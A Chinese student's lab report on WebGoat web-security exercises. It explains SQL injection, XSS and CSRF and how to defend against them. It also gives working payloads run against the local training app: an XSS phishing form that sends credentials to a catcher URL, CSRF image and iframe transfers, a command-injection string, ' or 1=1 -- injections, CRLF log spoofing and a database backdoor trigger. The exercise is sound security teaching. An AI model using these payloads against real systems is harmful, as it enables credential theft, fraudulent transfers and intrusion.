Exp9 Web安全基础实践
Exp9 Web安全基础实践
基础问题回答
1、SQL注入攻击原理,如何防御?
- 对用户的输入进行校验,可以通过正则表达式,双"-"进行转换等。
- 不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
- 不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。
- 不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。
- 应用的异常信息应该给出尽可能少的提示。
- 采取辅助软件或网站平台来检测sql注入。
2、XSS攻击的原理,如何防御?
- 在表单提交或者url参数传递前,对需要的参数进行过滤;
学习了一篇博客可供参考
https://blog.csdn.net/wf2017/article/details/55504636
3、CSRF攻击原理,如何防御?
- 通过referer、token或者验证码来检测用户提交;
- 尽量不要在页面的链接中暴露用户隐私信息,对于用户修改删除等操作最好都使用post操作;
- 避免全站通用的cookie,严格设置cookie的域
实践内容
关于WebGoat
WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,目前提供的训练课程有很多,包含了XSS、线程安全、SQL注入等,我们本次的实验就是在WebGoat平台上进行。
首先开启WebGoat,再终端
java -jar webgoat-container-7.0.1-war-exec.jar

一开始会显示未安装,所以必须安装JRE,使用
sudo apt-get install default-jre

使用命令
wget https://s3.amazonaws.com/webgoat-war/webgoat-container-7.0-SNAPSHOT-war-exec.jar
下载WebGoat:

安装java环境:

java环境安装完成
再次运行
java -jar webgoat-container-7.0-SNAPSHOT-war-exec.jar
启动WebGoat:

WebGoat使用8080端口,所以在浏览器上访问:localhost:8080/WebGoat
进入WebGoat之后,有很多题目

XSS攻击
1、Phishing with XSS
跨站脚本攻击最大的魅力是通过HTML注入劫持用户的浏览器,任意构造用户当前浏览的HTML内容,甚至可以模拟用户当前的操作。这里实验的是一种获取用户名和密码的攻击。
在webgoat找到xss攻击打开Phishing with XSS:

编写一个包含用户名、密码的前端代码:
<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
</div></div>
</form>
<script>
function hack(){
SSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>
将这段代码输入到输入框中,点击search出现如下登录框:

输入用户名密码,点击登录,WebGoat会将你输入的信息捕获并反馈给你:


攻击成功!!!!
Stored XSS Attacks
储存型XSS攻击:XSS攻击代码存储于数据库中,每次当用户打开此网页时便会执行,危害大,常用语留言板,每次当用户查看留言信息时即触发。导致用户访问时载入非预期的页面或内容
在title里随便输入某些内容
然后在message中输入一串代码,比如:
<script>alert(" you have been attacked by lyx !!");</script>

点击刚刚创建的帖子:

成功进行了攻击:
Reflected XSS Attacks
存储型XSS与反射型XSS有什么区别?
存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie等。反射型XSS,非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。
练习题的解释:
在服务器端验证所有输入始终是一个很好的做法。当在HTTP响应中使用未经验证的用户输入时,可能发生XSS。在一个反射的XSS攻击中,攻击者可以用攻击脚本制作URL并将其张贴到另一个网站上,发送电子邮件,或者以其他方式让受害者点击它。
当我们输入错误用户信息后,服务器校验输入有误,错误页面出现:
如果我们将带有攻击性的URL作为输入源:
<script>alert(" you have been attacked by lyx !!!");</script>

,就会弹出对话框:

Cross Site Request Forgery(CSRF)
目标是发送电子邮件到新闻组。电子邮件包含一个图像,其URL指向恶意请求。在本课中,URL应该指向“攻击”Servlet,该课程的“屏幕”和“菜单”参数和一个额外的参数“TrimeFund”具有任意数值,如5000。您可以通过在右边插入的参数中找到“屏幕”和“菜单”值来构建链接。当时被认证的CSRF邮件的收件人将转移他们的资金。当这一课的攻击成功时,左边的菜单旁边出现一个绿色的复选标记。
以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件。
在message框中输入:
<img src='attack?Screen=286&menu=900&transferFunds=5000' width='1' height='1'>
注意这里面的Screen和menu的值每个人的电脑可能不一样,可以在当前页面的右边有个Parameters进行查看,然后通过宽高设置成1像素,隐藏掉这个图片。

提交后,会在消息列表中看到一个新的消息,点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。

CSRF Prompt By-Pass
目标是向包含多个恶意请求的新闻组发送电子邮件:第一个转移资金,第二个请求确认第一个请求被触发的提示。URL应该指向这个CSRF提示的攻击servlet,通过PASS课程的屏幕、菜单参数和一个额外的参数“TrimeBoover”,它具有一个数字值,比如“5000”来启动一个传输,一个字符串值“确认”完成它。您可以从右边的插图复制该课程的参数,创建“攻击”格式的URL。屏幕= xxx和菜单= yyy和转移资金= ZZZ”。无论谁收到这封电子邮件,恰巧在那时被认证,他的资金将被转移。当您认为攻击成功时,刷新页面,您将在左侧菜单中找到绿色检查
查看页面右边Parameters中的src和menu值。

在message中添加代码:
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=转账数额"> </iframe>
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=CONFIRM"> </iframe>
提交后生成一个链接,点击:


另一种方法是在浏览器中手动输入URL
localhost:8080/WebGoat/attack?Screen=266&menu=900&transferFunds=5239
进入确认转账请求页面:

点击CONFIRM按钮之后,再在浏览器中输入URL:
localhost:8080/WebGoat/attack?Screen=266&menu=900&transferFunds=CONFIRM
成功转走了5239元:

Injection Flaws练习
在目标主机上执行系统命令,通过火狐浏览器下的Firebug对源代码进行修改,在BackDoors.help旁边加上
"& netstat -an & ipconfig"

之后在下拉菜单中能看到我们修改后的值:

选中修改后的值再点view,可以看到命令被执行,出现系统网络连接情况:

Numeric SQL Injection
题目要求:
下面的表单允许用户查看天气数据。尝试注入导致所有天气数据显示的SQL字符串。
现在,您已经成功执行SQL注入,尝试对参数化查询进行相同类型的攻击。
加上一个1=1这种永真式即可达到我们的目的,依旧利用firebug,在任意一个值比如101旁边加上or 1=1:

选中Columbia,点Go,出现:

Log Spoofing
我们输入的用户名会被追加到日志文件中,所以我们可以使用障眼法来使用户名为“admin”的用户在日志中显示“成功登录”,在User Name文本框中输入
lyx%0d%0aLogin Succeeded for username: admin
其中%0d是回车,%0a是换行符:

如图所示,攻击成功:

String SQL Injection
这里和之前一样,基于select语句构造SQL注入字符串,在文本框中输入
' or 1=1 --
第一个分号用来闭合last_name的第一个分号,而第二个分号用来闭合last_name的第二个分号。将一条语句被强行拆分成为两条语句。

点Go,攻击成功,所有用户信息都被显示出来:

LAB:SQL Injection(Stage 1:String SQL Injection)
以用户larry登录,在密码栏中输入
' or 1=1 --
进行SQL注入,登录失败:

查看网页代码后发现这里设定的长度不够。然后进行修改:

完成

SQL Injection(Stage 3:Numeric SQL Injection)
跟之前是一样的方法,然后点击ViewProfile可以浏览员工信息:

使用inspect分析一下这个按钮,发现这个地方是以员工ID作为索引传递参数的,我们要达到通过Larry来浏览老板账户信息的目的,一般来说老板的工资都应该是最高的,所以把其中的value值改为
101 or 1=1 order by salary desc --
这里desc是指工资按降序排序,这样老板的信息就会被排到第一个。

之后就可以查看到老板的信息:

Database Backdoors
先输一个5239,得到了该用户的信息:


输入注入语句:
101; update employee set salary=155239
成功把该用户的工资涨到了155239:

然后使用语句
101;CREATE TRIGGER lsqBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20155239@qq.com' WHERE userid = NEW.userid

实验后回答问题
(1)SQL注入攻击原理,如何防御
SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的。
1、 普通用户与系统管理员用户的权限要有严格的区分。
2、 强迫使用参数化语句。
3、 加强对用户输入的验证。
4、使用SQL Server数据库自带的安全参数。
5、使用正则表达式过滤传入的参数,对一些包含sql注入的关键字进行过滤。
6、jsp中调用该函数检查是否包含非法字符,防止SQL从URL注入。
(2)XSS攻击的原理,如何防御
XSS攻击是Web攻击中最常见的攻击方法之一,它是通过对网页注入可执行代码且成功地被浏览器
执行,达到攻击的目的,形成了一次有效XSS攻击,一旦攻击成功,它可以获取用户的联系人列
表,然后向联系人发送虚假诈骗信息,可以删除用户的日志等等。
1、在表单提交或者url参数传递前,对需要的参数进行过滤。
2、过滤用户输入的检查用户输入的内容中是否有非法内容。如<>(尖括号)、”(引号)、 ‘(单引号)、%(百分比符号)、;(分号)、()(括号)、&(& 符号)、+(加号)等。严格控制输出
(3)CSRF攻击原理,如何防御
跨站请求伪造,盗用身份发送恶意请求。
1、验证 HTTP Referer 字段
2、在请求地址中添加 token 并验证
3、在 HTTP 头中自定义属性并验证
实验总结与体会
这次实验用了很久的时间来一点点认真完成,收获很大,步骤不是很难,也遇到了很多问题,通过百度和问同学一步步完成了实验的所有内容。
Exp9 Web安全基础实践的更多相关文章
- 20145236《网络对抗》Exp9 web安全基础实践
20145236<网络对抗>Exp9 web安全基础实践 一.基础问题回答: SQL注入攻击原理,如何防御 SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或 ...
- 20145215《网络对抗》Exp9 Web安全基础实践
20145215<网络对抗>Exp9 Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符 ...
- 20145208 蔡野 《网络对抗》Exp9 web安全基础实践
20145208 蔡野 <网络对抗>Exp9 web安全基础实践 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验后回答问题 (1)SQL注入攻击原理,如何 ...
- 20155202《网络对抗》Exp9 web安全基础实践
20155202<网络对抗>Exp9 web安全基础实践 实验前回答问题 (1)SQL注入攻击原理,如何防御 SQL注入产生的原因,和栈溢出.XSS等很多其他的攻击方法类似,就是未经检查或 ...
- 20155204《网络对抗》Exp9 Web安全基础实践
20155204<网络对抗>Exp9 Web安全基础实践 一.基础问题回答 SQL注入攻击原理,如何防御? 原理: SQL注入即是指web应用程序对用户输入数据的合法性没有判断,攻击者可以 ...
- 20155210 Exp9 Web安全基础实践
Exp9 Web安全基础实践 实验过程 开启webgoat 输入java -jar webgoat-container-7.1-exec.jar,来运行webgoat 在浏览器输入localhost: ...
- 20155211 网络对抗 Exp9 Web安全基础实践
20155211 网络对抗 Exp9 Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语 ...
- 20155216 Exp9 Web安全基础实践
Exp9 Web安全基础实践 基础问题回答 1.SQL注入攻击原理,如何防御? 1.对用户的输入进行校验,可以通过正则表达式,双"-"进行转换等. 2.不要使用动态拼装sql,可以 ...
- 20155220 Exp9 Web安全基础实践
Exp9 Web安全基础实践 实验过程 开启webgoat 输入java -jar webgoat-container-7.1-exec.jar,来运行webgoat 在浏览器输入localhost: ...
- 20155223 Exp9 Web安全基础实践
20155223 Exp9 Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 攻击原理:SQL注入即是指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定 ...
随机推荐
- Windows10设置
按下Win+R键,输入gpedit.msc,打开组策略窗口
- Expo大作战(二十七)--expo sdk api之Util(expo自带工具类),tackSnapshotAsync,Svg,SQLite
简要:本系列文章讲会对expo进行全面的介绍,本人从2017年6月份接触expo以来,对expo的研究断断续续,一路走来将近10个月,废话不多说,接下来你看到内容,讲全部来与官网 我猜去全部机翻+个人 ...
- 快速了解Vuex
提要:提起react就会想起其应用最广泛的redux状态管理工具,vue中的官方推荐的状态管理工具就是Vuex. 看到同事在鼓捣Vuex的东西,前面项目完成后也没有好好总结一下Vuex的知识,所有就再 ...
- windows10操作系统中cmd窗口下telnet功能失效的解决方案
查找windows自带功能,在window10中相当方便.打开windows10的设置面板,在搜索栏中搜索“windows功能”,弹出以下界面: 根据弹出的提示“启动或停用windows功能”即可弹出 ...
- orcl 中upper()和lower()和initcap()的用法
upper(字符串 | 列):输入的字符串变为大写返回: 将 bqh4表里的zym字段信息中含有字母的全部转成大写的方法: select * from bqh4 select upper(zym) f ...
- VS2010使用Release进行调试的三个必须设置选项
How to: Debug a Release Build You can debug a release build of an application. To debug a release bu ...
- Spark 集群管理命令
[启动] # 启动所有服务 start-all.sh # 启动 master start-master.sh # 启动所有 worker start-slaves.sh # 启动单个 worker s ...
- javascript 正则表达式的使用
1. 语法 有两种定义正则表达式的方式 字面量形式 var expression = /pattern/flags 引用 MDN 的解释: pattern:正则表达式的文本. flags:标志,可以是 ...
- 读高性能JavaScript编程 第一章
草草的看完第一章,虽然看的是译文也是感觉涨姿势了, 我来总结一下: 由于 大多数浏览器都是 single process 处理 ui updatas and js execute 于是产生问题: js ...
- swift static与class修饰符:static不参与动态派发
static与class 都有类型成员的含义:相对于实例成员: static的另一个意思是静态派发:所以不能被继承. 要使用动态派发和继承的机制必须使用class继承. static的其它常见含义: ...